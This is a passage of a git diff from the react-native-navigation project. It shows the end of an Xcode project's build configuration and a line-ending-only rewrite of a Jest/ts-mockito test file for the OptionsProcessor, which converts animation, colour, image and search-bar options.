CLANG_CXX_LANGUAGE_STANDARD = "c++20"; + CLANG_ENABLE_OBJC_WEAK = YES; + CLANG_WARN_DOCUMENTATION_COMMENTS = YES; + CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; + CODE_SIGN_STYLE = Automatic; + DEBUG_INFORMATION_FORMAT = dwarf; + DEVELOPMENT_TEAM = ""; + GCC_C_LANGUAGE_STANDARD = gnu11; + HEADER_SEARCH_PATHS = ( + "$(inherited)", + "$(SRCROOT)/../../ios/**", + "${PODS_ROOT}/Headers/Private", + ); + INFOPLIST_FILE = NavigationTests/Info.plist; + IPHONEOS_DEPLOYMENT_TARGET = 13.0; + LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks @loader_path/Frameworks"; + MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE; + MTL_FAST_MATH = YES; + PRODUCT_BUNDLE_IDENTIFIER = com.wix.NavigationTests; + PRODUCT_NAME = "$(TARGET_NAME)"; + TARGETED_DEVICE_FAMILY = "1,2"; + TEST_HOST = "$(BUILT_PRODUCTS_DIR)/playground.app/playground"; + }; + name = Debug; + }; + E58D2623238587F4003F36BA /* Release */ = { + isa = XCBuildConfiguration; + baseConfigurationReference = D95A99C17C65D674BA9DF26B /* Pods-NavigationTests.release.xcconfig */; + buildSettings = { + BUNDLE_LOADER = "$(TEST_HOST)"; + CLANG_ANALYZER_NONNULL = YES; + CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; + CLANG_CXX_LANGUAGE_STANDARD = "c++20"; + CLANG_ENABLE_OBJC_WEAK = YES; + CLANG_WARN_DOCUMENTATION_COMMENTS = YES; + CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; + CODE_SIGN_STYLE = Automatic; + COPY_PHASE_STRIP = NO; + DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; + DEVELOPMENT_TEAM = ""; + GCC_C_LANGUAGE_STANDARD = gnu11; + HEADER_SEARCH_PATHS = ( + "$(inherited)", + "$(SRCROOT)/../../ios/**", + "${PODS_ROOT}/Headers/Private", + ); + INFOPLIST_FILE = NavigationTests/Info.plist; + IPHONEOS_DEPLOYMENT_TARGET = 13.0; + LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks @loader_path/Frameworks"; + LIBRARY_SEARCH_PATHS = ( + "$(SDKROOT)/usr/lib/swift", + "$(inherited)", + "\"${PODS_CONFIGURATION_BUILD_DIR}/CocoaAsyncSocket\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/DoubleConversion\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/HMSegmentedControl\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/OCMock\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/RCT-Folly\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/RCTTypeSafety\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/RNDateTimePicker\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/RNFastImage\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/RNGestureHandler\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/RNReanimated\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-Codegen\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-Core\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-CoreModules\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTAnimation\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTBlob\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTImage\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTLinking\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTNetwork\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTSettings\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTText\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTVibration\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-bridging\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-cxxreact\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-jsi\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-jsiexecutor\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-jsinspector\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-logger\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-perflogger\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/ReactCommon\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/ReactNativeNavigation\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/SDWebImage\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/SDWebImageWebPCoder\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/SocketRocket\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/Yoga\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/YogaKit\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/fmt\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/glog\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/libevent\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/libwebp\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/react-native-blur\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/react-native-netinfo\"", + ); + MTL_FAST_MATH = YES; + PRODUCT_BUNDLE_IDENTIFIER = com.wix.NavigationTests; + PRODUCT_NAME = "$(TARGET_NAME)"; + TARGETED_DEVICE_FAMILY = "1,2"; + TEST_HOST = "$(BUILT_PRODUCTS_DIR)/playground.app/playground"; + }; + name = Release; + }; +/* End XCBuildConfiguration section */ + +/* Begin XCConfigurationList section */ + 13B07F931A680F5B00A75B9A /* Build configuration list for PBXNativeTarget "playground" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + 13B07F941A680F5B00A75B9A /* Debug */, + 13B07F951A680F5B00A75B9A /* Release */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Debug; + }; + 507C80E12429111F00F765F7 /* Build configuration list for PBXNativeTarget "SnapshotTests" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + 507C80E22429111F00F765F7 /* Debug */, + 507C80E32429111F00F765F7 /* Release */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Debug; + }; + 50996C6623AA46DD00008F89 /* Build configuration list for PBXNativeTarget "NavigationIOS12Tests" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + 50996C6423AA46DD00008F89 /* Debug */, + 50996C6523AA46DD00008F89 /* Release */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Debug; + }; + 83CBB9FA1A601CBA00E9B192 /* Build configuration list for PBXProject "playground" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + 83CBBA201A601CBA00E9B192 /* Debug */, + 83CBBA211A601CBA00E9B192 /* Release */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Debug; + }; + E58D2624238587F4003F36BA /* Build configuration list for PBXNativeTarget "NavigationTests" */ = { + isa = XCConfigurationList; + buildConfigurations = ( + E58D2622238587F4003F36BA /* Debug */, + E58D2623238587F4003F36BA /* Release */, + ); + defaultConfigurationIsVisible = 0; + defaultConfigurationName = Debug; + }; +/* End XCConfigurationList section */ + }; + rootObject = 83CBB9F71A601CBA00E9B192 /* Project object */; +} diff --git a/src/commands/OptionsProcessor.test.ts b/src/commands/OptionsProcessor.test.ts index 754256d66cf..2e7436eaea9 100644 --- a/src/commands/OptionsProcessor.test.ts +++ b/src/commands/OptionsProcessor.test.ts @@ -1,1079 +1,1079 @@ -import { OptionsProcessor } from './OptionsProcessor'; -import { UniqueIdProvider } from '../adapters/UniqueIdProvider'; -import { Store } from '../components/Store'; -import { OptionProcessorsStore } from '../processors/OptionProcessorsStore'; -import { - Options, - OptionsModalPresentationStyle, - StackAnimationOptions, -} from '../interfaces/Options'; -import { mock, when, instance, anyNumber, verify, anything } from 'ts-mockito'; -import { ColorService } from '../adapters/ColorService'; -import { AssetService } from '../adapters/AssetResolver'; -import { Deprecations } from './Deprecations'; -import { CommandName } from '../interfaces/CommandName'; -import { OptionsProcessor as Processor } from '../interfaces/Processors'; -import { DynamicColorIOS, Platform } from 'react-native'; - -describe('navigation options', () => { - let uut: OptionsProcessor; - let optionProcessorsRegistry: OptionProcessorsStore; - const mockedStore = mock(Store) as Store; - const store = instance(mockedStore) as Store; - beforeEach(() => { - const mockedAssetService = mock(AssetService) as AssetService; - when(mockedAssetService.resolveFromRequire(anyNumber())).thenReturn({ - height: 100, - scale: 1, - uri: 'lol', - width: 100, - }); - const assetService = instance(mockedAssetService); - - const mockedColorService = mock(ColorService) as ColorService; - when(mockedColorService.toNativeColor('red')).thenReturn(0xffff0000); - when(mockedColorService.toNativeColor('green')).thenReturn(0xff00ff00); - when(mockedColorService.toNativeColor('blue')).thenReturn(0xff0000ff); - const colorService = instance(mockedColorService); - optionProcessorsRegistry = new OptionProcessorsStore(); - - let uuid = 0; - const mockedUniqueIdProvider: UniqueIdProvider = mock(UniqueIdProvider); - when(mockedUniqueIdProvider.generate(anything())).thenCall((prefix) => { - return `${prefix}${++uuid}`; - }); - - uut = new OptionsProcessor( - store, - instance(mockedUniqueIdProvider), - optionProcessorsRegistry, - colorService, - assetService, - new Deprecations() - ); - }); - - it('processes old setRoot animation value to new enter exit format on Android', () => { - Platform.OS = 'android'; - const options: Options = { - animations: { - setRoot: { - enabled: false, - translationY: { - from: 0, - to: 1, - duration: 3, - }, - }, - }, - }; - - const expectedOptions: Options = { - animations: { - setRoot: { - enter: { - enabled: false, - translationY: { - from: 0, - to: 1, - duration: 3, - }, - }, - }, - }, - }; - - uut.processOptions(CommandName.SetRoot, options); - expect(options).toEqual(expectedOptions); - }); - - describe('Modal Animation Options', () => { - describe('Show Modal', () => { - it('processes old options into new options,backwards compatibility ', () => { - const options: Options = { - animations: { - showModal: { - enabled: false, - translationY: { - from: 0, - to: 1, - duration: 3, - }, - }, - dismissModal: { - enabled: true, - translationY: { - from: 0, - to: 1, - duration: 3, - }, - }, - }, - }; - - const expected: Options = { - animations: { - showModal: { - enter: { - enabled: false, - translationY: { - from: 0, - to: 1, - duration: 3, - }, - }, - }, - dismissModal: { - exit: { - enabled: true, - translationY: { - from: 0, - to: 1, - duration: 3, - }, - }, - }, - }, - }; - uut.processOptions(CommandName.ShowModal, options); - expect(options).toEqual(expected); - }); - - it('processes old enabled options into new options,backwards compatibility ', () => { - const options: Options = { - animations: { - showModal: { - enabled: false, - }, - dismissModal: { - enabled: true, - }, - }, - }; - - const expected: Options = { - animations: { - showModal: { - enter: { - enabled: false, - }, - }, - dismissModal: { - exit: { - enabled: true, - }, - }, - }, - }; - uut.processOptions(CommandName.ShowModal, options); - expect(options).toEqual(expected); - }); - - it('should not process new options', () => { - const options: Options = { - animations: { - showModal: { - enter: { - enabled: false, - translationY: { - from: 0, - to: 1, - duration: 3, - }, - }, - }, - dismissModal: { - exit: { - enabled: true, - translationY: { - from: 0, - to: 1, - duration: 3, - }, - }, - }, - }, - }; - const expected: Options = { ...options }; - uut.processOptions(CommandName.ShowModal, options); - expect(options).toEqual(expected); - }); - }); - - describe('Dismiss Modal', () => { - it('processes old options into new options,backwards compatibility ', () => { - const options: Options = { - animations: { - showModal: { - enabled: false, - translationY: { - from: 0, - to: 1, - duration: 3, - }, - }, - dismissModal: { - enabled: true, - translationY: { - from: 0, - to: 1, - duration: 3, - }, - }, - }, - }; - - const expected: Options = { - animations: { - showModal: { - enter: { - enabled: false, - translationY: { - from: 0, - to: 1, - duration: 3, - }, - }, - }, - dismissModal: { - exit: { - enabled: true, - translationY: { - from: 0, - to: 1, - duration: 3, - }, - }, - }, - }, - }; - uut.processOptions(CommandName.DismissModal, options); - expect(options).toEqual(expected); - }); - - it('processes old enabled options into new options,backwards compatibility ', () => { - const options: Options = { - animations: { - showModal: { - enabled: false, - }, - dismissModal: { - enabled: true, - }, - }, - }; - - const expected: Options = { - animations: { - showModal: { - enter: { - enabled: false, - }, - }, - dismissModal: { - exit: { - enabled: true, - }, - }, - }, - }; - uut.processOptions(CommandName.DismissModal, options); - expect(options).toEqual(expected); - }); - - it('should not process new options', () => { - const options: Options = { - animations: { - showModal: { - enter: { - enabled: false, - translationY: { - from: 0, - to: 1, - duration: 3, - }, - }, - }, - dismissModal: { - exit: { - enabled: true, - translationY: { - from: 0, - to: 1, - duration: 3, - }, - }, - }, - }, - }; - const expected: Options = { ...options }; - uut.processOptions(CommandName.DismissModal, options); - expect(options).toEqual(expected); - }); - }); - }); - - it('keeps original values if values were not processed', () => { - const options: Options = { - blurOnUnmount: false, - popGesture: false, - modalPresentationStyle: OptionsModalPresentationStyle.fullScreen, - }; - uut.processOptions(CommandName.SetRoot, options); - expect(options).toEqual({ - blurOnUnmount: false, - popGesture: false, - modalPresentationStyle: OptionsModalPresentationStyle.fullScreen, - }); - }); - - it('passes value to registered processor', () => { - const options: Options = { - topBar: { - visible: true, - }, - }; - - optionProcessorsRegistry.addProcessor('topBar.visible', (value: boolean) => { - return !value; - }); - - uut.processOptions(CommandName.SetRoot, options); - expect(options).toEqual({ - topBar: { - visible: false, - }, - }); - }); - - it('process options object with multiple values using registered processor', () => { - const options: Options = { - topBar: { - visible: true, - background: { - translucent: true, - }, - }, - }; - - optionProcessorsRegistry.addProcessor('topBar.visible', (value: boolean) => { - return !value; - }); - - optionProcessorsRegistry.addProcessor('topBar.background.translucent', (value: boolean) => { - return !value; - }); - - uut.processOptions(CommandName.SetRoot, options); - expect(options).toEqual({ - topBar: { - visible: false, - background: { - translucent: false, - }, - }, - }); - }); - - it('passes commandName to registered processor', () => { - const options: Options = { - topBar: { - visible: false, - }, - }; - - optionProcessorsRegistry.addProcessor('topBar.visible', (_value, commandName) => { - expect(commandName).toEqual(CommandName.SetRoot); - }); - - uut.processOptions(CommandName.SetRoot, options); - }); - - it('passes props to registered processor', () => { - const options: Options = { - topBar: { - visible: false, - }, - }; - const props = { - prop: 'prop', - }; - const processor: Processor = (_value, _commandName, passProps) => { - expect(passProps).toEqual(props); - return _value; - }; - - optionProcessorsRegistry.addProcessor('topBar.visible', processor); - uut.processOptions(CommandName.SetRoot, options, props); - }); - - it('supports multiple registered processors', () => { - const options: Options = { - topBar: { - visible: true, - }, - }; - - optionProcessorsRegistry.addProcessor('topBar.visible', () => false); - optionProcessorsRegistry.addProcessor('topBar.visible', () => true); - - uut.processOptions(CommandName.SetRoot, options); - expect(options).toEqual({ - topBar: { - visible: true, - }, - }); - }); - - it('supports multiple registered processors deep props', () => { - const options: Options = { - topBar: { - visible: false, - background: { - translucent: false, - }, - }, - bottomTabs: { - visible: false, - }, - }; - - optionProcessorsRegistry.addProcessor('topBar.visible', () => true); - optionProcessorsRegistry.addProcessor('bottomTabs.visible', () => true); - optionProcessorsRegistry.addProcessor('topBar.background.translucent', () => true); - - uut.processOptions(CommandName.SetRoot, options); - expect(options).toEqual({ - topBar: { - visible: true, - background: { - translucent: true, - }, - }, - bottomTabs: { - visible: true, - }, - }); - }); - - describe('color processor', () => { - describe('Android', () => { - beforeEach(() => { - Platform.OS = 'android'; - }); - - it('should not process undefined color', () => { - const options: Options = { - topBar: { background: { color: undefined } }, - }; - - uut.processOptions(CommandName.SetRoot, options); - expect(options).toEqual({ - topBar: { background: { color: undefined } }, - }); - }); - - it('PlatformColor should be passed to native as is', () => { - const options: Options = { - topBar: { - background: { - color: { - // @ts-ignore - resource_paths: ['@color/textColor'], - }, - }, - }, - }; - uut.processOptions(CommandName.SetRoot, options); - expect(options).toEqual({ - topBar: { background: { color: { resource_paths: ['@color/textColor'] } } }, - }); - }); - - it('processes color keys', () => { - const options: Options = { - statusBar: { backgroundColor: 'red' }, - topBar: { background: { color: 'blue' } }, - }; - - uut.processOptions(CommandName.SetRoot, options); - expect(options).toEqual({ - statusBar: { backgroundColor: { light: 0xffff0000, dark: 0xffff0000 } }, - topBar: { background: { color: { light: 0xff0000ff, dark: 0xff0000ff } } }, - }); - }); - - it('processes null color', () => { - const options: Options = { - topBar: { background: { color: null } }, - }; - - uut.processOptions(CommandName.SetRoot, options); - expect(options).toEqual({ - topBar: { background: { color: { light: 'NoColor', dark: 'NoColor' } } }, - }); - }); - - it('processes color keys to ThemeColor', () => { - const options: Options = { - topBar: { - background: { color: { light: 'blue', dark: 'red' } }, - }, - }; - uut.processOptions(CommandName.SetRoot, options); - expect(options).toEqual({ - topBar: { - background: { color: { light: 0xff0000ff, dark: 0xffff0000 } }, - }, - }); - }); - }); - - describe('iOS', () => { - beforeEach(() => { - Platform.OS = 'ios'; - }); - - it('processes color keys', () => { - const options: Options = { - statusBar: { backgroundColor: 'red' }, - topBar: { background: { color: 'blue' } }, - }; - - uut.processOptions(CommandName.SetRoot, options); - expect(options).toEqual({ - statusBar: { backgroundColor: 0xffff0000 }, - topBar: { background: { color: 0xff0000ff } }, - }); - }); - - it('should not process undefined color', () => { - const options: Options = { - topBar: { background: { color: undefined } }, - }; - - uut.processOptions(CommandName.SetRoot, options); - expect(options).toEqual({ - topBar: { background: { color: undefined } }, - }); - }); - - it('processes null color', () => { - const options: Options = { - topBar: { background: { color: null } }, - }; - - uut.processOptions(CommandName.SetRoot, options); - expect(options).toEqual({ - topBar: { background: { color: 'NoColor' } }, - }); - }); - - it('processes color keys to ThemeColor', () => { - const options: Options = { - statusBar: { backgroundColor: 'red' }, - topBar: { - background: { color: { light: 'blue', dark: 'red' } }, - title: { - color: undefined, - }, - }, - }; - uut.processOptions(CommandName.SetRoot, options); - expect(options).toEqual({ - statusBar: { backgroundColor: 0xffff0000 }, - topBar: { - background: { color: { dynamic: { light: 0xff0000ff, dark: 0xffff0000 } } }, - title: { - color: undefined, - }, - }, - }); - }); - - it('supports DynamicColorIOS', () => { - const options: Options = { - topBar: { background: { color: DynamicColorIOS({ light: 'red', dark: 'blue' }) } }, - }; - - uut.processOptions(CommandName.SetRoot, options); - expect(options).toEqual({ - topBar: { background: { color: { dynamic: { light: 0xffff0000, dark: 0xff0000ff } } } }, - }); - }); - - it('should not process undefined value', () => { - const options: Options = { - topBar: { background: { color: undefined } }, - }; - - uut.processOptions(CommandName.SetRoot, options); - expect(options).toEqual({ - topBar: { background: { color: undefined } }, - }); - }); - }); - }); - - it('processes image keys', () => { - const options: Options = { - backgroundImage: 123, - rootBackgroundImage: 234, - bottomTab: { icon: 345, selectedIcon: 345 }, - }; - uut.processOptions(CommandName.SetRoot, options); - expect(options).toEqual({ - backgroundImage: { height: 100, scale: 1, uri: 'lol', width: 100 }, - rootBackgroundImage: { height: 100, scale: 1, uri: 'lol', width: 100 }, - bottomTab: { - icon: { height: 100, scale: 1, uri: 'lol', width: 100 }, - selectedIcon: { height: 100, scale: 1, uri: 'lol', width: 100 }, - }, - }); - }); - - it('calls store if component has passProps', () => { - const passProps = { some: 'thing' }; - const options = { topBar: { title: { component: { passProps, name: 'a' } } } }; - - uut.processOptions(CommandName.SetRoot, options); - - verify(mockedStore.setPendingProps('CustomComponent1', passProps)).called(); - }); - - it('generates componentId for component id was not passed', () => { - const options = { topBar: { title: { component: { name: 'a' } } } }; - - uut.processOptions(CommandName.SetRoot, options); - - expect(options).toEqual({ - topBar: { title: { component: { name: 'a', componentId: 'CustomComponent1' } } }, - }); - }); - - it('copies passed id to componentId key', () => { - const options = { topBar: { title: { component: { name: 'a', id: 'Component1' } } } }; - - uut.processOptions(CommandName.SetRoot, options); - - expect(options).toEqual({ - topBar: { title: { component: { name: 'a', id: 'Component1', componentId: 'Component1' } } }, - }); - }); - - it('calls store when button has passProps and id', () => { - const passProps = { prop: 'prop' }; - const options = { topBar: { rightButtons: [{ passProps, id: '1' }] } }; - - uut.processOptions(CommandName.SetRoot, options); - - verify(mockedStore.setPendingProps('1', passProps)).called(); - }); - - it('do not touch passProps when id for button is missing', () => { - const passProps = { prop: 'prop' }; - const options = { topBar: { rightButtons: [{ passProps } as any] } }; - - uut.processOptions(CommandName.SetRoot, options); - - expect(options).toEqual({ topBar: { rightButtons: [{ passProps }] } }); - }); - - it('omits passProps when processing buttons or components', () => { - const options = { - topBar: { - rightButtons: [{ passProps: {}, id: 'btn1' }], - leftButtons: [{ passProps: {}, id: 'btn2' }], - title: { component: { name: 'helloThere1', passProps: {} } }, - background: { component: { name: 'helloThere2', passProps: {} } }, - }, - }; - uut.processOptions(CommandName.SetRoot, options); - expect(options.topBar.rightButtons[0].passProps).toBeUndefined(); - expect(options.topBar.leftButtons[0].passProps).toBeUndefined(); - expect(options.topBar.title.component.passProps).toBeUndefined(); - expect(options.topBar.background.component.passProps).toBeUndefined(); - }); - - it('Will ensure the store has a chance to lazily load components in options', () => { - const options = { - topBar: { - title: { component: { name: 'helloThere1', passProps: {} } }, - background: { component: { name: 'helloThere2', passProps: {} } }, - }, - }; - uut.processOptions(CommandName.SetRoot, options); - verify(mockedStore.ensureClassForName('helloThere1')).called(); - verify(mockedStore.ensureClassForName('helloThere2')).called(); - }); - - it('show warning on iOS when toggling bottomTabs visibility through mergeOptions', () => { - jest.spyOn(console, 'warn'); - uut.processOptions(CommandName.MergeOptions, { bottomTabs: { visible: false } }); - expect(console.warn).toBeCalledWith( - 'toggling bottomTabs visibility is deprecated on iOS. For more information see https://github.com/wix/react-native-navigation/issues/6416', - { - bottomTabs: { visible: false }, - } - ); - }); - - describe('searchBar', () => { - describe('Android', () => { - beforeEach(() => { - Platform.OS = 'android'; - }); - - it('transform searchBar bool to object', () => { - const options = { topBar: { searchBar: true as any } }; - uut.processOptions(CommandName.SetRoot, options); - expect(options.topBar.searchBar).toStrictEqual({ - visible: true, - hideOnScroll: false, - hideTopBarOnFocus: false, - obscuresBackgroundDuringPresentation: false, - backgroundColor: undefined, - tintColor: undefined, - placeholder: '', - }); - }); - - it('transform searchBar bool to object and merges in deprecated values', () => { - const options = { - topBar: { - searchBar: true as any, - searchBarHiddenWhenScrolling: true, - hideNavBarOnFocusSearchBar: true, - searchBarBackgroundColor: 'red', - searchBarTintColor: 'green', - searchBarPlaceholder: 'foo', - }, - }; - uut.processOptions(CommandName.SetRoot, options); - expect(options.topBar.searchBar).toStrictEqual({ - visible: true, - hideOnScroll: true, - hideTopBarOnFocus: true, - obscuresBackgroundDuringPresentation: false, - backgroundColor: { dark: 0xffff0000, light: 0xffff0000 }, - tintColor: { dark: 0xff00ff00, light: 0xff00ff00 }, - placeholder: 'foo', - }); - }); - }); - - describe('iOS', () => { - beforeEach(() => { - Platform.OS = 'ios'; - }); - - it('transform searchBar bool to object', () => { - const options = { topBar: { searchBar: true as any } }; - uut.processOptions(CommandName.SetRoot, options); - expect(options.topBar.searchBar).toStrictEqual({ - visible: true, - hideOnScroll: false, - hideTopBarOnFocus: false, - obscuresBackgroundDuringPresentation: false, - backgroundColor: undefined, - tintColor: undefined, - placeholder: '', - }); - }); - - it('transform searchBar bool to object and merges in deprecated values', () => { - const options = { - topBar: { - searchBar: true as any, - searchBarHiddenWhenScrolling: true, - hideNavBarOnFocusSearchBar: true, - searchBarBackgroundColor: 'red', - searchBarTintColor: 'green', - searchBarPlaceholder: 'foo', - }, - }; - uut.processOptions(CommandName.SetRoot, options); - expect(options.topBar.searchBar).toStrictEqual({ - visible: true, - hideOnScroll: true, - hideTopBarOnFocus: true, - obscuresBackgroundDuringPresentation: false, - backgroundColor: 0xffff0000, - tintColor: 0xff00ff00, - placeholder: 'foo', - }); - }); - }); - }); - - describe('process animations options', () => { - const performOnViewsInvolvedInStackAnimation = (action: (view: string) => void) => - ['content', 'topBar', 'bottomTabs'].forEach(action); - - describe('push', () => { - it('old *.push api is converted into push.*.enter', () => { - performOnViewsInvolvedInStackAnimation((view: string) => { - const options: Options = { - animations: { - push: { - [view]: { - alpha: { - from: 0, - to: 1, - }, - }, - }, - }, - }; - uut.processOptions(CommandName.SetRoot, options); - expect(options.animations!!.push).toStrictEqual({ - [view]: { - enter: { - alpha: { - from: 0, - to: 1, - }, - }, - }, - }); - }); - }); - - it('StackAnimationOptions based push api is left as is', () => { - performOnViewsInvolvedInStackAnimation((view: string) => { - const options: Options = { - animations: { - push: { - [view]: { - exit: { - alpha: { - from: 1, - to: 0, - }, - }, - enter: { - alpha: { - from: 0, - to: 1, - }, - }, - }, - }, - }, - }; - uut.processOptions(CommandName.SetRoot, options); - expect(options.animations!!.push).toStrictEqual({ - [view]: { - exit: { - alpha: { - from: 1, - to: 0, - }, - }, - enter: { - alpha: { - from: 0, - to: 1, - }, - }, - }, - }); - }); - }); - - it('Options not related to views are left as is', () => { - performOnViewsInvolvedInStackAnimation(() => { - const options: Options = { - animations: { - push: { - enabled: false, - waitForRender: true, - sharedElementTransitions: [], - elementTransitions: [], - }, - }, - }; - uut.processOptions(CommandName.SetRoot, options); - expect(options.animations!!.push).toStrictEqual({ - enabled: false, - waitForRender: true, - sharedElementTransitions: [], - elementTransitions: [], - }); - }); - }); - }); - - describe('pop', () => { - it('old pop.content api is converted into pop.content.exit', () => { - performOnViewsInvolvedInStackAnimation((view: string) => { - const options: Options = { - animations: { - pop: { - [view]: { - alpha: { - from: 0, - to: 1, - }, - }, - }, - }, - }; - uut.processOptions(CommandName.SetRoot, options); - expect(options.animations!!.pop).toStrictEqual({ - [view]: { - exit: { - alpha: { - from: 0, - to: 1, - }, - }, - }, - }); - }); - }); - - it('StackAnimationOptions based pop api is left as is', () => { - performOnViewsInvolvedInStackAnimation((view: string) => { - const options: Options = { - animations: { - pop: { - [view]: { - exit: { - alpha: { - from: 1, - to: 0, - }, - }, - enter: { - alpha: { - from: 0, - to: 1, - }, - }, - }, - }, - }, - }; - uut.processOptions(CommandName.SetRoot, options); - expect(options.animations!!.pop).toStrictEqual({ - [view]: { - exit: { - alpha: { - from: 1, - to: 0, - }, - }, - enter: { - alpha: { - from: 0, - to: 1, - }, - }, - }, - }); - }); - }); - - it('Options not related to views are left as is', () => { - performOnViewsInvolvedInStackAnimation(() => { - const options: Options = { - animations: { - pop: { - enabled: false, - waitForRender: true, - sharedElementTransitions: [], - elementTransitions: [], - }, - }, - }; - uut.processOptions(CommandName.SetRoot, options); - expect(options.animations!!.pop).toStrictEqual({ - enabled: false, - waitForRender: true, - sharedElementTransitions: [], - elementTransitions: [], - }); - }); - }); - }); - - describe('setStackRoot', () => { - it('ViewAnimationOptions based setStackRoot api is converted to StackAnimationOptions based api', () => { - const options: Options = { - animations: { - setStackRoot: { - alpha: { - from: 0, - to: 1, - }, - }, - }, - }; - uut.processOptions(CommandName.SetRoot, options); - expect(options.animations!!.setStackRoot).toStrictEqual({ - content: { - enter: { - alpha: { - from: 0, - to: 1, - }, - }, - }, - }); - }); - - it('Disabled ViewAnimationOptions based setStackRoot api is converted to StackAnimationOptions based api', () => { - const options: Options = { - animations: { - setStackRoot: { - enabled: false, - waitForRender: true, - }, - }, - }; - uut.processOptions(CommandName.SetRoot, options); - expect(options.animations!!.setStackRoot as StackAnimationOptions).toStrictEqual({ - enabled: false, - waitForRender: true, - content: { - enter: { - enabled: false, - waitForRender: true, - }, - }, - }); - }); - - it('StackAnimationOptions based setStackRoot api is left as is', () => { - performOnViewsInvolvedInStackAnimation((view: string) => { - const options: Options = { - animations: { - setStackRoot: { - [view]: { - enter: { - alpha: { - from: 0, - to: 1, - }, - }, - }, - }, - }, - }; - uut.processOptions(CommandName.SetRoot, options); - expect(options.animations!!.setStackRoot).toStrictEqual({ - [view]: { - enter: { - alpha: { - from: 0, - to: 1, - }, - }, - }, - }); - }); - }); - }); - }); -}); +import { OptionsProcessor } from './OptionsProcessor'; +import { UniqueIdProvider } from '../adapters/UniqueIdProvider'; +import { Store } from '../components/Store'; +import { OptionProcessorsStore } from '../processors/OptionProcessorsStore'; +import { + Options, + OptionsModalPresentationStyle, + StackAnimationOptions, +} from '../interfaces/Options'; +import { mock, when, instance, anyNumber, verify, anything } from 'ts-mockito'; +import { ColorService } from '../adapters/ColorService'; +import { AssetService } from '../adapters/AssetResolver'; +import { Deprecations } from './Deprecations'; +import { CommandName } from '../interfaces/CommandName'; +import { OptionsProcessor as Processor } from '../interfaces/Processors'; +import { DynamicColorIOS, Platform } from 'react-native'; + +describe('navigation options', () => { + let uut: OptionsProcessor; + let optionProcessorsRegistry: OptionProcessorsStore; + const mockedStore = mock(Store) as Store; + const store = instance(mockedStore) as Store; + beforeEach(() => { + const mockedAssetService = mock(AssetService) as AssetService; + when(mockedAssetService.resolveFromRequire(anyNumber())).thenReturn({ + height: 100, + scale: 1, + uri: 'lol', + width: 100, + }); + const assetService = instance(mockedAssetService); + + const mockedColorService = mock(ColorService) as ColorService; + when(mockedColorService.toNativeColor('red')).thenReturn(0xffff0000); + when(mockedColorService.toNativeColor('green')).thenReturn(0xff00ff00); + when(mockedColorService.toNativeColor('blue')).thenReturn(0xff0000ff); + const colorService = instance(mockedColorService); + optionProcessorsRegistry = new OptionProcessorsStore(); + + let uuid = 0; + const mockedUniqueIdProvider: UniqueIdProvider = mock(UniqueIdProvider); + when(mockedUniqueIdProvider.generate(anything())).thenCall((prefix) => { + return `${prefix}${++uuid}`; + }); + + uut = new OptionsProcessor( + store, + instance(mockedUniqueIdProvider), + optionProcessorsRegistry, + colorService, + assetService, + new Deprecations() + ); + }); + + it('processes old setRoot animation value to new enter exit format on Android', () => { + Platform.OS = 'android'; + const options: Options = { + animations: { + setRoot: { + enabled: false, + translationY: { + from: 0, + to: 1, + duration: 3, + }, + }, + }, + }; + + const expectedOptions: Options = { + animations: { + setRoot: { + enter: { + enabled: false, + translationY: { + from: 0, + to: 1, + 